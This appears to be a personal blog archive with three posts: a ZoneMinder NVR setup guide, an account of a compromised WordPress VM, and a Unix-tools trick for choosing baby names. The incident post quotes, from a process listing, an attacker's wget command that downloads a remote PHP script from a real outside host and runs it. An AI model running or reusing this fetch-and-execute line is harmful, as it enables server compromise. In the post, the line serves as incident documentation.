Monthly Archives: March 2022

Setting up ZoneMinder NVR

Posted on by
Reply

For the past year or so, I use BlueIris as my network video recorder (NVR) solution on a dedicated HP ProDesk computer, running Windows 10. BlueIris has proven to be a solid piece of software. Although I only use a fraction of its offerings, I still think it's worth the cost (yes, it's paid, proprietary and Windows-only). I had no plan to replace it any time soon.

That is, at least until yesterday, when the HP computer just died. Turns out, my cat sneaked into the basement a few weeks ago and urinated on my server rack, and the liquid got into the case and slowly eroded the motherboard. The desktop was lying horizontally on the top shelf of my rack and caught most of the liquid, saving all the equipment beneath it. It's pretty heroic, in a sense.

I took a picture of the the dead motherboard.

Well, it's time to pick a new NVR solution (preferably open source) and chug along with life. I had previously tried Shinobi and concluded that the web interface was not to my liking. I tried ZoneMinder as well on an i5 computer back then, but it was simply not powerful enough to drive motion detection on 3+ cameras.

Understanding the pain points

After running security camera systems for more than a year, I have figured out my use case and exactly what I need from an NVR system. I simply need it to:

  • Record 24/7 low-res footage on all cameras
  • Low maintenance effort
  • Low CPU usage and disk I/O (ideally)

What I thought I needed but actually don't:

  • GPU encoding/decoding (pass-through is good for me)
  • Motion detection (cats running around all the time, tons of false trigger)
  • High-res footage (nice to have, but low-res is good enough)
  • Multiple copies of backup (footage from weeks ago are not critically important)

With that in mind, I decide to give ZoneMinder another go. This time, with a minimum viable configuration.

Deciding the hosting infrastructure

With the HP desktop down, I only have three servers left: Dell PowerEdge R720 as main hypervisor with 8 hard drives in ZFS mirror vdev configuration; HP ProLiant DL360p Gen8 as a testing server; and a dedicated backup server running TrueNAS. I better not mess around with the backup server, and I don't want to occupy the testing server with mission critical tasks. The only logical choice is Dell R720.

ZoneMinder is a PHP web application running on top of LAMP stack, so it should have no problem running in a LXC container. In fact, this YouTube video shows exactly the same setup. External storage is something we have to configure, though, as discussed later in this post.

Installation

Follow the most recent guide on ZoneMinder wiki for either Ubuntu or Debian systems: add apt source list, install dependencies and ZoneMinder itself. Fire up a web browser and go to x.x.x.x/zm, or have a proxy in front of it and go to my-zonminder-url.tld/zm and you are greeted with a setup wizard. At the time of writing, the most recent stable version is v1.36.12 on Debian 11 Bullseye.

Before running the wizard, I would add external storage to the LXC container. By default, ZoneMinder stores "events" under /var/cache/zoneminder/events. This directory is owned by www-data user and group. In Proxmox, there is a neat trick to bind mount a path on the host system to the guest container. In this case, I created a ZFS dataset /tank/encrypted/zoneminder and bind mounted it to /var/cache/zoneminder/events in the container. I had to add the following line in the container config file (/etc/pve/lxc/Container_ID.conf):

mp0: /tank/encrypted/zoneminder,mp=/var/cache/zoneminder/events

Reboot the container; the external storage will show up.

We also need to fix the permissions of the storage directory. By default, the www-data user and group have UID and GID numbered at 33, which maps to 100033 on the host system. We could simply chown -R 100033:100033 /tank/encrypted/zoneminder on the host system and call it a day. Since I already have a ZFS dataset with 100033 UID/GID bind mounted to the Nextcloud container, I would go the extra mile by changing the UID/GID number of www-data user/group on ZoneMinder container to some number other than 33. The logic is that, if either container is compromised, their www-data user/group can not touch the other's bind mount storage path on the host system. It may sound overly cautions, but reducing attack vector is always a good practice.

Adding Reolink Cameras

I have a total of five Reolink 5MP cameras. This wiki page and this Reddit post show how to add Reolink cameras to ZoneMinder. If in doubt, use ONVIF auto detection. I find it much easier probing than messing around with RTSP/RTMP feed URL.

Each camera has a sub stream and a main stream. I record sub streams 24/7 and use main streams purely as monitors.

For me, the sub feed URL is:

rtsp://admin:password@IP:554/h264Preview_01_sub

The main feed URL is:

rtsp://admin:password@IP:554/h264Preview_01_main

Of course, substitute username and password based on your setup. The default username for Reolink cameras is "admin"; the default password is empty.

Wrap-up

I won't go into details on how to configure ZoneMinder because I know everyone's need is different. However, I suggest at least add a filter rule to purge events when disk gets full.

Keep an eye on CPU and RAM usage, as ZoneMinder relies on CPU to do processing and it can get hungry in terms of resource usage. Also pay attention to the usage of tmpfs /dev/shm if you have motion detection configured, as it can get filled up quickly. The size of tmpfs can be increased in VMs but not in LXC containers.

That's all I can think of right now. My configuration is very minimum. It works for me but may not suits everyone. I am still exploring ZoneMinder myself and may revisit this topic later on.

A Close Call: How a WordPress Site is Almost Hacked

Posted on by
2

Background

I have a few spare VMs running in the cloud, waiting to be purposed. These VMs are provisioned using Ansible but are not in production use. One of them hosts a WordPress site using basic LAMP stack. The only ports open to the world are SSH and HTTP/HTTPS. I should add that the sshd is configured to use key authentication only, as a sane person would do.

This particular VM runs Debian 11 and has 1 GB of RAM. It serves the sample page came with WordPress, with little to no configuration other than WP 2FA and W3 Total Cache plug-ins.

How I found out

I occasionally go to the website url to check if everything is working. Strangely enough, one day, the website was unreachable. I tried to ssh into the VM and the connection timed out. As a last resort, I went to the cloud provider's dashboard and rebooted the VM. As a side note, I uninstalled all diagnostics agent software pre-installed by the cloud provider just to keep the tiny VM lean; I could not monitor the VM in the dashboard as a result.

After the VM came back from reboot, the website started to show up and I could ssh in. Everything seemed to be functional again. However, it didn't last long until the VM locked up again. That is, a few hours later when I checked in, same things happened all over again.

Investigation

After a few more reboots, I decided to investigate the root cause of this strange behaviour. I highly doubted that the website was too popular: it's just a blank site with almost zero traffic. The apache configuration is kept as default; php-fpm configuration are tuned to be on the conservative side with very few workers. I started a bench test from another VM using apache2-utils package: 

~$ ab -c30 -t30 'https://example.com/?cat=1'

This commands spins 30 dynamic connections from the other VM to stress test the php processing. As expected, it handles the test just fine, without any significant RAM usage.

As I dug deeper into the process tree, it didn't take me long to find out that the memory was slowing being eaten by php processes. It happened gradually over the course of a few hours, until all memory was consumed by php-fpm and OOM killer finally kicked in. A quick systemctl status -l php7.4-fpm.service gives the following info:

● php7.4-fpm.service - The PHP 7.4 FastCGI Process Manager
     Loaded: loaded (/lib/systemd/system/php7.4-fpm.service; enabled; vendor preset: enabled)
     Active: active (running) since Sun 2022-03-06 23:11:47 EST; 1h 13min ago
       Docs: man:php-fpm7.4(8)
    Process: 650 ExecStartPost=/usr/lib/php/php-fpm-socket-helper install /run/php/php-fpm.sock /etc/php/7.4/fpm/pool.d/www.conf 74 (code=exited, s>
   Main PID: 482 (php-fpm7.4)
     Status: "Processes active: 2, idle: 14, Requests: 166, slow: 0, Traffic: 0req/sec"
      Tasks: 75 (limit: 1128)
     Memory: 773.4M
        CPU: 14min 29.690s
     CGroup: /system.slice/php7.4-fpm.service
             ├─   482 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
             ├─   649 php-fpm: pool www
             ├─   750 php-fpm: pool www
             ├─   753 php-fpm: pool www
             ├─   768 php-fpm: pool www
             ├─ 56725 php-fpm: pool www
             ├─ 56736 php-fpm: pool www
             ├─ 56737 php-fpm: pool www
             ├─ 92508 php-fpm: pool www
             ├─ 92528 php-fpm: pool www
             ├─ 92529 php-fpm: pool www
             ├─ 92587 php-fpm: pool www
             ├─ 98783 sh -c wget http://32868.port0.org/st/get_xleet.txt -O inc.class.xleet.php; php inc.class.xleet.php
             ├─ 98848 php inc.class.xleet.php
             ├─107565 sh -c php inc.class.xleet.ph

The last three processes immediately gave me a chill in the back. Why is it downloading and executing a php script? It is so bad.

A quick ls -lA on the document root:

total 344
-rw-r--r--  1 www-data www-data  8197 Mar  7 15:21 .htaccess
-rwxr-xr-x  1 www-data www-data  2067 Feb 21 20:19 3index.php
-rw-r--r--  1 www-data www-data   362 Feb 16 11:25 accesson.php
-rw-r--r--  1 www-data www-data 16090 Mar  7 16:18 angry.txt
drwxr-xr-x  3 www-data www-data  4096 Feb 22 09:36 assets
-rw-r--r--  1 www-data www-data  1194 Mar  7 16:18 inc.class.xleet.php
-rwxr-xr-x  1 www-data www-data   405 Feb 22 19:35 index.php
-rwxr-xr-x  1 www-data www-data 19915 Mar  7 15:32 license.txt
-rw-r--r--  1 www-data www-data 12484 Mar  7 16:18 list.txt
-rwxr-xr-x  1 www-data www-data  2012 Nov 10 09:31 old-index.php
-rw-r--r--  1 www-data www-data    29 Feb 21 20:19 on.php
-rwxr-xr-x  1 www-data www-data  7437 Mar  7 15:32 readme.html
-rwxr-xr-x  1 www-data www-data   556 Oct 29 23:53 robots.txt
-rw-r--r--  1 www-data www-data 10445 Mar  7 16:18 roll.txt
-rwxr-xr-x  1 www-data www-data 16290 Oct 29 23:51 store.php
-rw-r--r--  1 www-data www-data  1219 Feb 22 19:35 unzip.php
-rwxr-xr-x  1 www-data www-data  2094 Nov 10 10:21 wikindex.php
drwxr-xr-x  8 www-data www-data  4096 Oct 29 16:10 wordpress
-rwxr-xr-x  1 www-data www-data  7165 Jan 20  2021 wp-activate.php
drwxr-xr-x  9 www-data www-data  4096 Dec 31  1969 wp-admin
-rwxr-xr-x  1 www-data www-data  7246 Nov 10 09:31 wp-admin.php
-rwxr-xr-x  1 www-data www-data   351 Feb  6  2020 wp-blog-header.php
-rwxr-xr-x  1 www-data www-data  2338 Feb  1 12:35 wp-comments-post.php
-rwxr-xr-x  1 www-data www-data  3001 Feb  1 12:35 wp-config-sample.php
-rwxr-xr-x  1 www-data www-data  3383 Sep 15 22:08 wp-config.php
drwxr-xr-x 10 www-data www-data  4096 Mar  7 15:33 wp-content
-rwxr-xr-x  1 www-data www-data  3939 Jul 30  2020 wp-cron.php
drwxr-xr-x 26 www-data www-data 12288 Feb  1 12:35 wp-includes
-rwxr-xr-x  1 www-data www-data  2496 Feb  6  2020 wp-links-opml.php
-rwxr-xr-x  1 www-data www-data  3900 May 15  2021 wp-load.php
-rwxr-xr-x  1 www-data www-data 47916 Feb  1 12:35 wp-login.php
-rwxr-xr-x  1 www-data www-data  8582 Feb  1 12:35 wp-mail.php
-rwxr-xr-x  1 www-data www-data 23025 Feb  1 12:35 wp-settings.php
-rwxr-xr-x  1 www-data www-data 31959 Feb  1 12:35 wp-signup.php
-rwxr-xr-x  1 www-data www-data  4747 Oct  8  2020 wp-trackback.php
-rwxr-xr-x  1 www-data www-data  3236 Jun  8  2020 xmlrpc.php

Clearly there are some unknown files being created (like angry.txt) and the BIG RED ALERT inc.class.xleet.php. I tried to delete those files and they kept popping up. I also noticed the weird permission in the document root, 755 seems to be too open. However, no time to think! I quickly removed the document root entirely and went on to check system logs to see if there is any bigger problem. Luckily I didn't find any evidence that the VM is compromised.

Back to WordPress, I downloaded a new installer and the default permission is conservative (644 for the most part). Extracted and started serving, the php scripts didn't make a come back.

Postmortem

I am not an expert in security but this is serious enough for me to reflect and make a lesson. The most likely scenario is that file permission for document root is too open. Either the www:data user or php-fpm process is compromised as a result.

It was ultimately due to a mis-configuration in my Ansible playbook, in which it extracts the WordPress tar ball and reset the permission to 755. Thank goodness this is the only affected machine, as other WordPress sites that I administer are setup by hand.

Lastly, I removed this VM entirely as a precaution.

Takeaways

There are three lessons I learned:

  1. When something strange happens, take it seriously and investigate; it's a sysadmin's responsibility
  2. Don't mess with default permission for no obvious reasons
  3. Examine the automation code carefully before pushing; convenience can sometimes be a double edge sword

How Unix tools help me decide baby names

Posted on by
1

As a father-to-be, I'm both thrilled and terrified to be expecting a baby. Of all things I should do right now, the most practical thing would be to come up with a name. However, out of thousands if not tens of thousands first names out there, how to pick the one?

I am not very creative at naming people or pets, and I'm very picky at the same time. As we would likely to have multiple children down the road, we definitely need to come up with a system to help us name them. Say the maximum possible number of children we would have is six, we would want each child's name starts with a different letter. Together these letters would form a word with a beautiful meaning. I take inspiration from Brian W Kernighan's book UNIX: A History and a Memoir, in which he writes a story about using grep and regular expression to help a friend find words (from the dictionary on his Unix system) matching an upside-down calculator screen. I thought it was funny when I first read about it, but now I think it just might be what I need to try.

So here is the gist. I'm going to find all six-letter words from a dictionary and pick one. The word can have capitalized or small first letter, but it should not contain repeating letters.

First, I run the following command again a dictionary file commonly found on Linux and BSD machines (on macOS it's /usr/share/dict/web2). The purpose is to extract all six-letter words and store them to a temp filed called `upper_unprocessed'

~$ grep -E '^[[:upper:]][[:lower:]]{5}$' /usr/share/dict/web2 > upper_unprocessed

Next, we need to process the upper_unprocessed file. I first convert capitalized letters to lower letters, piping the results to grep to find the words that do not have any repeating letters (notice the -v flag). Finally, I capitalize the first letter of each word, essentially restoring their original look. The cleaned up list is now stored in upper file.

~$ tr [:upper:] [:lower:] < upper_unprocessed | grep -Ev '(.)(.*\1){1}' | sed -E 's/(.)/\u\1/' > upper

Now that we have upper case words taken care of, let's look at lower case words. We find six-letter words from web2 dictionary and get rid of the ones with repeating letters, store them in lower file.

~$ grep -E '^[[:lower:]]{6}$' web2 | grep -Ev '(.)(.*\1){1}' > lower

Finally, we cat display both upper and lower files, sort all the words alphabetically (albeit ignoring the case with -f flag) and output them to a file called combined.

~$ cat upper lower | sort -f > combined

Voila! Here is a sneak peak of the resulted combined file:

abdest
Abdiel
abduce
abduct
abeigh
abider
Abipon
abject
abjure
ablest
...
begoud
begowk
begray
begrim
Beguin
begulf
begunk
behalf
behind
behint

A quick wc -l shows over 8000 lines (or words, in this case), giving us plenty of choices. A quirk I found during the process is that how unused I am to BSD version of these tools. I learned the command line by using Linux and are used to GNU version of things. Dealing with regex on a BSD machine is a little weird and frustrating. As a result, I grabbed the dictionary file from a Mac and did the processing inside a Debian system.

I would tell you that the final choice is the word family, which totally checks all the boxes and means a lot to, well, a family. Credits go to Unix tools!